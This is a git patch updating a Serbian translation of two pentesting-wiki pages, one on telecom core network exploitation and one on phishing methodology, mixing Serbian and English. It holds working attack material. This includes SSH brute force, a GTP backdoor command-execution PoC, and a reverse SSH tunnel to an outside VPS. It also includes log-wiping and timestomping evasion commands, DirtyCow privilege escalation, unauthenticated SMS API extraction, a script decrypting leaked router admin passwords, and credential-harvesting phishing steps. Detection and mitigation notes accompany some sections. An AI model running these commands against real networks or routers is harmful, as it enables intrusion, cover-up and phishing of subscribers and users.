From f9a580a3cc39d1e0bdfab248000f7b3f4ee35816 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 9 Oct 2025 00:49:04 +0000 Subject: [PATCH] Translated ['', 'src/generic-methodologies-and-resources/phishing-method --- .../telecom-network-exploitation.md | 226 +++++++---- .../phishing-methodology/README.md | 360 ++++++++++-------- 2 files changed, 339 insertions(+), 247 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md index 0df8c4da3..0f26b8636 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md +++ b/src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md @@ -1,27 +1,27 @@ -# Eksploatacija telekom mreža (GTP / Roaming Environments) +# Telecom Network Exploitation (GTP / Roaming Environments) {{#include ../../banners/hacktricks-training.md}} > [!NOTE] -> Mobilni core protokoli (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto idu preko plain UDP sa gotovo nikakvom autentifikacijom, **bilo koja pozicija unutar telekom perimetra obično može direktno dostići core signalling plane**. Sledeće beleške prikupljaju ofanzivne trikove primećene u divljini protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. +> Protokoli mobilne jezgre (GPRS Tunnelling Protocol – GTP) često prolaze kroz polu-pouzdane GRX/IPX roaming backbones. Pošto koriste običan UDP sa gotovo nikakvom autentifikacijom, **bilo koji foothold unutar telekom perimetra obično može direktno dostići core signalling planes**. Sledeće beleške prikupljaju ofanzivne trikove zabeležene u stvarnom svetu protiv SGSN/GGSN, PGW/SGW i drugih EPC čvorova. ## 1. Recon & Initial Access -### 1.1 Default OSS / NE Accounts -Iznenađujuće veliki broj mrežnih elemenata dobavljača dolazi sa hard-coded SSH/Telnet korisnicima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećeni wordlist dramatično povećava uspeh brute-force-a: +### 1.1 Podrazumevani OSS / NE nalozi +Zapanjujuće veliki broj mrežnih elemenata dobavljača isporučuje se sa hard-coded SSH/Telnet korisničkim nalozima kao što su `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Posvećena wordlist dramatično povećava uspeh brute-force napada: ```bash hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt ``` -Ako uređaj izlaže samo management VRF, prvo pivotirajte kroz jump host (pogledajte odeljak «SGSN Emu Tunnel» ispod). +If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below). -### 1.2 Otkrivanje hostova unutar GRX/IPX -Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP sondama da brzo mapirate GTP-C slušaoce: +### 1.2 Otkrivanje hostova unutar GRX/IPX +Većina GRX operatora i dalje dozvoljava **ICMP echo** preko backbone-a. Kombinujte `masscan` sa ugrađenim `gtpv1` UDP probes da brzo mapirate GTP-C slušače: ```bash masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 ``` -## 2. Enumeracija pretplatnika – `cordscan` +## 2. Enumerating Subscribers – `cordscan` -Sledeći Go alat sastavlja pakete **GTP-C Create PDP Context Request** i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. +Sledeći Go alat kreira pakete **GTP-C Create PDP Context Request** i zapisuje odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji opslužuje upitani IMSI i, ponekad, posećeni PLMN pretplatnika. ```bash # Build GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan @@ -29,22 +29,22 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan # Usage (typical): ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap ``` -Ključne opcije: -- `--imsi` IMSI ciljnog pretplatnika +Key flags: +- `--imsi` Ciljni pretplatnik IMSI - `--oper` Home / HNI (MCC+MNC) -- `-w` Zapiši raw packets u pcap +- `-w` Zapiši raw pakete u pcap -Važne konstante unutar binarnog fajla mogu se izmeniti da bi se obim skeniranja povećao: +Važne konstante unutar binarnog fajla mogu se izmeniti da bi se povećao opseg skeniranja: ``` pingtimeout = 3 // seconds before giving up pco = 0x218080 common_tcp_ports = "22,23,80,443,8080" ``` -## 3. Izvršavanje koda preko GTP – `GTPDoor` +## 3. Code Execution over GTP – `GTPDoor` -`GTPDoor` je mali ELF servis koji **veže UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tag-om, ostatak se dešifruje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da nikada nije uspostavljena izlazna sesija. +`GTPDoor` je mali ELF servis koji **veže se za UDP 2123 i parsira svaki dolazni GTP-C paket**. Kada payload počinje pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava preko `/bin/sh -c`. stdout/stderr se eksfiltriraju unutar **Echo Response** poruka tako da se nikada ne uspostavlja spoljašnja sesija. -Minimalni PoC packet (Python): +Minimalni PoC paket (Python): ```python import gtpc, Crypto.Cipher.AES as AES key = b"SixteenByteKey!" @@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) ``` Detekcija: -* bilo koji host koji šalje **unbalanced Echo Requests** prema SGSN IP adresama +* bilo koji host koji šalje **unbalanced Echo Requests** ka SGSN IP-ovima * GTP version flag postavljen na 1 dok je message type = 1 (Echo) – odstupanje od specifikacije ## 4. Pivoting Through the Core ### 4.1 `sgsnemu` + SOCKS5 -`OsmoGGSN` isporučuje SGSN emulator sposoban da **establish a PDP context towards a real GGSN/PGW**. Nakon pregovora, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. +`OsmoGGSN` isporučuje SGSN emulator koji može da **establish a PDP context towards a real GGSN/PGW**. Kada se to pregovori, Linux dobija novi `tun0` interfejs dostupan sa roaming peer-a. ```bash sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ -APN internet -c 1 -d ip route add 172.16.0.0/12 dev tun0 microsocks -p 1080 & # internal SOCKS proxy ``` -With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **sloj podataka**. +Uz pravilno firewall hair-pinning, ovaj tunel zaobilazi signalling-only VLANs i dovodi vas direktno u **data plane**. ### 4.2 SSH Reverse Tunnel over Port 53 -DNS je skoro uvek otvoren u roaming infrastrukturi. Izložite internu SSH uslugu na vašem VPS-u koja sluša na :53 i povežite se kasnije iz kuće: +DNS je skoro uvek otvoren u roaming infrastrukturnim okruženjima. Izložite internu SSH uslugu na vaš VPS koja osluškuje na :53 i vratite se kasnije iz kuće: ```bash ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com ``` -Proverite da li je `GatewayPorts yes` omogućen na VPS-u. +Proverite da li je `GatewayPorts yes` omogućeno na VPS-u. -## 5. Tajni kanali +## 5. Skriveni kanali | Kanal | Transport | Dekodiranje | Napomene | -|---------|-----------|----------|-------| -| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | potpuno pasivan, bez odlaznog saobraćaja | -| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | posmatra `*.nodep` poddomen | -| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u private IE | meša se sa legitimnim GTP-C saobraćajem | +|-------|-----------|------------|----------| +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | čisto pasivan listener, bez odlaznog saobraćaja | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) enkodirano u oktetima A-record zapisa | prati `*.nodep` poddomen | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | stapa se sa legitimnim GTP-C saobraćajem | -Svi implants implementiraju watchdogs koji **timestomp** njihove binarne fajlove i ponovo ih pokreću ako se sruše. +Svi implants implementiraju watchdogs koji **timestomp** njihove binarne datoteke i re-spawn ako se sruše. -## 6. Pregled tehnika izbegavanja detekcije +## 6. Defense Evasion Cheatsheet ```bash # Remove attacker IPs from wtmp utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp @@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1] touch -r /usr/bin/time /usr/bin/chargen # timestomp setenforce 0 # disable SELinux ``` -## 7. Eskalacija privilegija na Legacy NE +## 7. Privilege Escalation na zastarelom NE ```bash # DirtyCow – CVE-2016-5195 gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd @@ -116,76 +116,76 @@ Savet za čišćenje: userdel firefart 2>/dev/null rm -f /tmp/sh ; history -c ``` -## 8. Set alata +## 8. Tool Box -* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisani u prethodnim sekcijama. -* `FScan` : skeniranje intraneta po TCP portovima (`fscan -p 22,80,443 10.0.0.0/24`) +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling opisano u prethodnim sekcijama. +* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) * `Responder` : LLMNR/NBT-NS rogue WPAD -* `Microsocks` + `ProxyChains` : lagani SOCKS5 pivoting +* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting * `FRP` (≥0.37) : NAT traversal / asset bridging ## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay -Procedura registracije u 5G ide preko NAS (Non-Access Stratum) na vrhu NGAP. Dok sigurnost NAS-a nije aktivirana preko Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti enkriptovane. Ovo pred-bezbednosno vreme omogućava više puteva napada kada možete da posmatrate ili menjate N2 saobraćaj (npr. on-path unutar core-a, lažni gNB, ili testbed). +5G procedura registracije se odvija preko NAS (Non-Access Stratum) na vrhu NGAP. Dokle god NAS security nije aktiviran putem Security Mode Command/Complete, inicijalne poruke nisu autentifikovane niti šifrovane. Ovo pre-security prozorsko stanje omogućava više puteva napada kad možete da posmatrate ili manipulišete N2 saobraćajem (npr. on-path unutar core-a, rogue gNB, ili testbed). -Tok registracije (pojednostavljeno): -- Registration Request: UE šalje SUCI (šifrovani SUPI) i capabilities. +Registration flow (simplified): +- Registration Request: UE šalje SUCI (encrypted SUPI) i capabilities. - Authentication: AMF/AUSF šalju RAND/AUTN; UE vraća RES*. -- Security Mode Command/Complete: pregovaraju se i aktiviraju NAS integrity i ciphering. -- PDU Session Establishment: podešavanje IP/QoS. +- Security Mode Command/Complete: NAS integrity i ciphering se pregovaraju i aktiviraju. +- PDU Session Establishment: IP/QoS podešavanje. -Saveti za lab podešavanje (bez RF): -- Core: Open5GS default deployment je dovoljan za reprodukciju toka. -- UE: simulator ili test UE; dekodovati pomoću Wireshark. +Lab setup tips (non-RF): +- Core: Open5GS default deployment je dovoljan za reprodukciju flow-ova. +- UE: simulator ili test UE; dekodujte koristeći Wireshark. - Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB). -- Korisni display filteri u Wireshark: +- Useful display filters in Wireshark: - ngap.procedure_code == 15 (InitialUEMessage) - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request) ### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI -Očekivano: UE/USIM mora da šalje SUCI (SUPI enkriptovan javnim ključem home network-a). Pronalazak plaintext SUPI/IMSI u Registration Request ukazuje na propust privatnosti koji omogućava trajno praćenje pretplatnika. +Expected: UE/USIM mora da šalje SUCI (SUPI šifrovan sa home-network public key). Nalazak plaintext SUPI/IMSI u Registration Request ukazuje na privatnosni defekt koji omogućava persistentno praćenje pretplatnika. -Kako testirati: -- Presretnite prvu NAS poruku u InitialUEMessage i pregledajte Mobile Identity IE. -- Wireshark brze provere: -- Trebalo bi da dekodira kao SUCI, ne IMSI. -- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` bi trebalo da postoji; odsustvo plus prisustvo `imsi` ukazuje na leakage. +How to test: +- Capture the first NAS message in InitialUEMessage i ispitajte Mobile Identity IE. +- Wireshark quick checks: +- Trebalo bi da dekodira kao SUCI, a ne kao IMSI. +- Primer filtera: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` treba da postoji; odsustvo plus prisustvo `imsi` ukazuje na curenje. -Šta prikupiti: -- MCC/MNC/MSIN ako su izloženi; logovati po-UE i pratiti preko vremena/lokacija. +What to collect: +- MCC/MNC/MSIN ako su izloženi; logujte po-UE i pratite kroz vreme/locacije. -Mitigacija: -- Primorati SUCI-only UEs/USIMs; alarmirati na bilo koji IMSI/SUPI u inicijalnom NAS-u. +Mitigation: +- Enforce SUCI-only UEs/USIMs; alert na bilo koji IMSI/SUPI u inicijalnom NAS. ### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0) Background: -- UE advertises podržane EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. +- UE advertises supported EEA (encryption) i EIA (integrity) u UE Security Capability IE Registration Request-a. - Uobičajene mape: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 su null algoritmi. -Problem: -- Pošto Registration Request nije integrity zaštićen, on-path napadač može očistiti capability bitove kako bi prisilio izbor EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme i van emergency servisa. +Issue: +- Pošto Registration Request nije integrity zaštićen, on-path napadač može da obriše capability bitove da prisili selekciju EEA0/EIA0 kasnije tokom Security Mode Command. Neki stack-ovi pogrešno dozvoljavaju null algoritme van emergency servisa. -Ofanzivni koraci: -- Presretnite InitialUEMessage i izmenite NAS UE Security Capability da oglašava samo EEA0/EIA0. -- Sa Sni5Gect, hook-ujte NAS poruku i iscribajte capability bitove pre prosljeđivanja. -- Posmatrajte da li AMF prihvata null ciphers/integrity i završava Security Mode sa EEA0/EIA0. +Offensive steps: +- Intercept InitialUEMessage i modifikujte NAS UE Security Capability da reklamira samo EEA0/EIA0. +- Sa Sni5Gect hook-ujte NAS poruku i zapatch-ujte capability bitove pre prosleđivanja. +- Posmatrajte da li AMF prihvata null cipher/integrity i završava Security Mode sa EEA0/EIA0. -Verifikacija/vidljivost: +Verification/visibility: - U Wireshark-u, potvrdite izabrane algoritme nakon Security Mode Command/Complete. -- Primer izlaza pasivnog sniffera: +- Example passive sniffer output: ``` Encyrption in use [EEA0] Integrity in use [EIA0, EIA1, EIA2] SUPI (MCC+MNC+MSIN) 9997000000001 ``` -Mitigacije (obavezno): -- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim tamo gde je strogo propisano (npr. hitni pozivi). -- Poželjno je primenjivati EEA2/EIA2 kao minimum; logujte i podignite alarm za svaki NAS security context koji pregovara null algorithms. +Mere ublažavanja (obavezno): +- Konfigurišite AMF/policy da odbija EEA0/EIA0 osim gde je strogo naloženo (npr. hitni pozivi). +- Poželjno je primenjivati EEA2/EIA2 kao minimum; zabeležite i pokrenite alarm za svaki NAS security context koji pregovara null algoritme. ### 9.3 Replay of initial Registration Request (pre-security NAS) -Pošto initial NAS nema integritet i svežinu, uhvaćeni InitialUEMessage+Registration Request može biti replayed prema AMF. +Pošto početni NAS nema integritet i svežinu, presretnuti InitialUEMessage+Registration Request mogu biti replayed na AMF. -PoC pravilo za 5GReplay za prosleđivanje odgovarajućih replays: +PoC rule for 5GReplay to forward matching replays: ```xml ``` What to observe: -- Da li AMF prihvata replay i nastavlja sa autentikacijom; nedostatak validacije svežine/konteksta ukazuje na izloženost. +- Da li AMF prihvata replay i nastavlja ka Authentication; lack of freshness/context validation ukazuje na izloženost. Mitigations: -- Sprovoditi zaštitu od replay-a / vezivanje konteksta na AMF; ograničiti stopu (rate-limit) i korelirati po GNB/UE. +- Primeni replay protection/context binding na AMF; rate-limit i correlate po-GNB/UE. ### 9.4 Tooling pointers (reproducible) -- Open5GS: podignite AMF/SMF/UPF da emulirate core; posmatrajte N2 (NGAP) i NAS. -- Wireshark: proverite dekodiranje NGAP/NAS; primenite gore navedene filtere da izolujete Registration. -- 5GReplay: zabeležite registration, zatim replay-ujte specifične NGAP + NAS poruke prema pravilu. -- Sni5Gect: live sniff/modify/inject NAS control-plane da prisilite null algoritme ili poremete sekvence autentikacije. +- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS. +- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration. +- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule. +- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences. ### 9.5 Defensive checklist -- Kontinuirano pregledajte Registration Request na plaintext SUPI/IMSI; blokirajte uređaje/USIMs koji krše pravila. -- Odbacujte EEA0/EIA0 osim u strogo definisanim hitnim procedurama; zahtevajte najmanje EEA2/EIA2. -- Otkrivajte rogue ili pogrešno konfigurisanu infrastrukturu: neautorizovani gNB/AMF, neočekivani N2 peers. -- Alarmirajte za NAS security modes koji rezultuju null algoritmima ili čestim replay-ovima InitialUEMessage. +- Kontinuirano inspect Registration Request za plaintext SUPI/IMSI; block offending devices/USIMs. +- Reject EEA0/EIA0 osim za striktno definisane emergency procedure; require at least EEA2/EIA2. +- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers. +- Alert on NAS security modes koji rezultuju null algorithms ili čestim replays of InitialUEMessage. --- + +## 10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261) + +Zloupotreba exposed web API-ja industrijskih cellular routers omogućava stealthy, carrier-origin smishing u velikoj skali. Milesight UR-series routers expose a JSON-RPC–style endpoint at `/cgi`. Kada je pogrešno konfigurisano, API se može query-ovati without authentication da listuje SMS inbox/outbox i, u nekim deployment-ima, da šalje SMS. + +Typical unauthenticated requests (same structure for inbox/outbox): +```http +POST /cgi HTTP/1.1 +Host: +Content-Type: application/json + +{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] } +``` + +```json +{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] } +``` +Odgovori sadrže polja kao što su `timestamp`, `content`, `phone_number` (E.164) i `status` (`success` ili `failed`). Ponavljana slanja sa statusom `failed` na isti broj često su napadačeve “capability checks” da potvrde da router/SIM može isporučiti pre masovnog slanja. + +Primer curl komande za exfiltrate SMS metapodataka: +```bash +curl -sk -X POST http:///cgi \ +-H 'Content-Type: application/json' \ +-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}' +``` +Beleške o auth artefaktima: +- Neki saobraćaj može uključivati auth cookie, ali veliki deo izloženih uređaja odgovara bez ikakve autentikacije na `query_inbox`/`query_outbox` kada je management interfejs izložen Internetu. +- U okruženjima koja zahtevaju auth, previously-leaked credentials (see below) vraćaju pristup. + +Putanja oporavka kredencijala – CVE-2023-43261: +- Pogođene familije: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7). +- Problem: web-served logs (npr. `httpd.log`) su dostupni bez autentikacije pod `/lang/log/` i sadrže admin login događaje sa lozinkom enkriptovanom korišćenjem hardkodovanog AES key/IV prisutnog u client-side JavaScript. +- Praktičan pristup i dekript: +```bash +curl -sk http:///lang/log/httpd.log | sed -n '1,200p' +# Look for entries like: {"username":"admin","password":""} +``` +Minimalni Python za dešifrovanje leaked lozinki (AES-128-CBC, hardcoded key/IV): +```python +import base64 +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad +KEY=b'1111111111111111'; IV=b'2222222222222222' +enc_b64='...' # value from httpd.log +print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode()) +``` +Ideje za hunting i detekciju (mreža): +- Alert na neautentifikovan `POST /cgi` čije JSON telo sadrži `base`/`function` postavljeno na `query_inbox` ili `query_outbox`. +- Pratiti ponovljene `POST /cgi` burst-ove koji su praćeni `status":"failed"` unosima preko mnogo različitih brojeva sa iste source IP (capability testing). +- Inventarizovati Internet-exposed Milesight routere; ograničiti management na VPN; onemogućiti SMS funkcije osim ako nisu potrebne; nadograditi na ≥ v35.3.0.7; rotirati kredencijale i pregledati SMS logove za nepoznata slanja. + +Shodan/OSINT pivots (examples seen in the wild): +- `http.html:"rt_title"` matches Milesight router panels. +- Google dorking for exposed logs: `"/lang/log/system" ext:log`. + +Operativni uticaj: korišćenje legitimnih carrier SIMs unutar routera daje vrlo visoku SMS deliverability/credibility za phishing, dok inbox/outbox exposure leaks sensitive metadata at scale. + +--- + ## Detection Ideas -1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. -2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. -3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. -4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. -5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal). -6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts. +1. **Bilo koji uređaj koji nije SGSN/GGSN koji uspostavlja Create PDP Context Requests**. +2. **Nestandardni portovi (53, 80, 443) koji primaju SSH handshakes** iz internih IP adresa. +3. **Česti Echo Requests bez odgovarajućih Echo Responses** – može ukazivati na GTPDoor beacone. +4. **Visok nivo ICMP echo-reply saobraćaja sa velikim, nenultim identifier/sequence poljima**. +5. 5G: **InitialUEMessage koji nosi NAS Registration Requests ponovljene sa istih endpoint-a** (replay signal). +6. 5G: **NAS Security Mode koji pregovara EEA0/EIA0 izvan emergency konteksta**. ## References @@ -243,5 +302,8 @@ Mitigations: - [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol) - 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS - 3GPP TS 33.501 – Security architecture and procedures for 5G System +- [Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) +- [CVE-2023-43261 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-43261) +- [CVE-2023-43261 PoC (win3zz)](https://github.com/win3zz/CVE-2023-43261) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index a50f90640..0d3590fca 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -4,47 +4,47 @@ ## Metodologija -1. Recon žrtve -1. Izaberi **domen žrtve**. -2. Izvrši osnovnu web enumeraciju **pretražujući portale za prijavu** koje koristi žrtva i **odluči** koji ćete **imitirati**. -3. Koristi malo **OSINT** da **pronađeš e-mail adrese**. +1. Recon the victim +1. Izaberi **victim domain**. +2. Uradi osnovnu web enumeraciju **searching for login portals** koje koristi žrtva i **decide** koji ćeš **impersonate**. +3. Koristi **OSINT** da **find emails**. 2. Pripremi okruženje -1. **Kupi domen** koji ćeš koristiti za phishing procenu -2. **Konfiguriši zapise** vezane za email servis (SPF, DMARC, DKIM, rDNS) +1. **Buy the domain** koji ćeš koristiti za phishing procenu +2. **Configure the email service** related records (SPF, DMARC, DKIM, rDNS) 3. Konfiguriši VPS sa **gophish** 3. Pripremi kampanju -1. Pripremi **email šablon** -2. Pripremi **web stranicu** za krađu kredencijala +1. Pripremi **email template** +2. Pripremi **web page** za krađu credentials 4. Pokreni kampanju! -## Generisanje sličnih naziva domena ili kupovina pouzdanog domena +## Generate similar domain names or buy a trusted domain -### Tehnike varijacija naziva domena +### Domain Name Variation Techniques -- **Keyword**: Naziv domena **sadrži** važnu **ključnu reč** originalnog domena (npr. zelster.com-management.com). -- **hypened subdomain**: Zameni **tačku crticom** u poddomeni (npr. www-zelster.com). -- **New TLD**: Isti domen koristeći **novi TLD** (npr. zelster.org) -- **Homoglyph**: **Zameni** slovo u nazivu domena sa **slovima koja izgledaju slično** (npr. zelfser.com). +- **Keyword**: The domain name **contains** an important **keyword** of the original domain (e.g., zelster.com-management.com). +- **hypened subdomain**: Change the **dot for a hyphen** of a subdomain (e.g., www-zelster.com). +- **New TLD**: Same domain using a **new TLD** (e.g., zelster.org) +- **Homoglyph**: It **replaces** a letter in the domain name with **letters that look similar** (e.g., zelfser.com). {{#ref}} homograph-attacks.md {{#endref}} -- **Transposition:** **Zameni mesta** dvema slovima unutar naziva domena (npr. zelsetr.com). -- **Singularization/Pluralization**: Dodaje ili uklanja “s” na kraju naziva domena (npr. zeltsers.com). -- **Omission**: **Ukloni jedno** od slova iz naziva domena (npr. zelser.com). -- **Repetition:** **Ponovi jedno** od slova u nazivu domena (npr. zeltsser.com). -- **Replacement**: Kao homoglyph ali manje prikriveno. Zamenjuje jedno od slova u nazivu domena, možda slovom bliskim na tastaturi (npr. zektser.com). -- **Subdomained**: Uvedi **tačku** unutar naziva domena (npr. ze.lster.com). -- **Insertion**: **Ubaci slovo** u naziv domena (npr. zerltser.com). -- **Missing dot**: Pripoji TLD uz naziv domena. (npr. zelstercom.com) +- **Transposition:** It **swaps two letters** within the domain name (e.g., zelsetr.com). +- **Singularization/Pluralization**: Adds or removes “s” at the end of the domain name (e.g., zeltsers.com). +- **Omission**: It **removes one** of the letters from the domain name (e.g., zelser.com). +- **Repetition:** It **repeats one** of the letters in the domain name (e.g., zeltsser.com). +- **Replacement**: Like homoglyph but less stealthy. It replaces one of the letters in the domain name, perhaps with a letter in proximity of the original letter on the keyboard (e.g, zektser.com). +- **Subdomained**: Introduce a **dot** inside the domain name (e.g., ze.lster.com). +- **Insertion**: It **inserts a letter** into the domain name (e.g., zerltser.com). +- **Missing dot**: Append the TLD to the domain name. (e.g., zelstercom.com) -**Automatski alati** +**Automatic Tools** - [**dnstwist**](https://github.com/elceef/dnstwist) - [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) -**Web sajtovi** +**Websites** - [https://dnstwist.it/](https://dnstwist.it) - [https://dnstwister.report/](https://dnstwister.report) @@ -52,43 +52,43 @@ homograph-attacks.md ### Bitflipping -Postoji **mogućnost da se neki bitovi, koji su sačuvani ili u komunikaciji, automatski preokrenu** zbog različitih faktora kao što su solarne erupcije, kosmičko zračenje ili hardverske greške. +Postoji **mogućnost da se neki bitovi** u skladištenju ili komunikaciji automatski promene zbog raznih faktora kao što su solarne oluje, kosmički zraci ili hardverske greške. -Kada se ovaj koncept **primeni na DNS zahteve**, moguće je da **domen koji DNS server primi** nije isti kao domen koji je prvobitno zatražen. +Kada se ovaj koncept primeni na DNS zahteve, moguće je da **domain koji DNS server zaprimi** nije isti kao domain koji je inicijalno zahtevan. -Na primer, jedna izmena bita u domenu "windows.com" može ga promeniti u "windnws.com." +Na primer, promena jednog bita u domain-u "windows.com" može ga promeniti u "windnws.com." -Napadači mogu **iskoristiti ovo registrujući više bit-flipping domena** koji su slični domenu žrtve. Njihova namera je da preusmere legitimne korisnike na sopstvenu infrastrukturu. +Napadači mogu **iskoristiti ovo tako što registruju više bit-flipping domain-a** koji su slični domain-u žrtve. Njihova namera je da preusmere legitimne korisnike na svoju infrastrukturu. -Za više informacija pročitajte [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) +Za više informacija pogledaj [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) -### Kupovina pouzdanog domena +### Buy a trusted domain -Možete pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za istekao domen koji biste mogli koristiti.\ -Da biste bili sigurni da domen koji planirate da kupite **već ima dobar SEO**, možete proveriti kako je kategorizovan u: +Možeš pretražiti [https://www.expireddomains.net/](https://www.expireddomains.net) za expired domain koji bi mogao da iskoristiš.\ +Da bi bio siguran da expired domain koji planiraš da kupiš **već ima dobar SEO**, možeš proveriti kako je kategorizovan na: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) -## Otkrivanje e-mail adresa +## Discovering Emails -- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% besplatno) -- [https://phonebook.cz/](https://phonebook.cz) (100% besplatno) +- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) +- [https://phonebook.cz/](https://phonebook.cz) (100% free) - [https://maildb.io/](https://maildb.io) - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -Da biste **otkrili više** validnih e-mail adresa ili **verifikovali one** koje ste već otkrili, možete proveriti da li ih možete brute-force-ovati na SMTP serverima žrtve. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ -Pored toga, ne zaboravite da ako korisnici koriste **bilo koji web portal 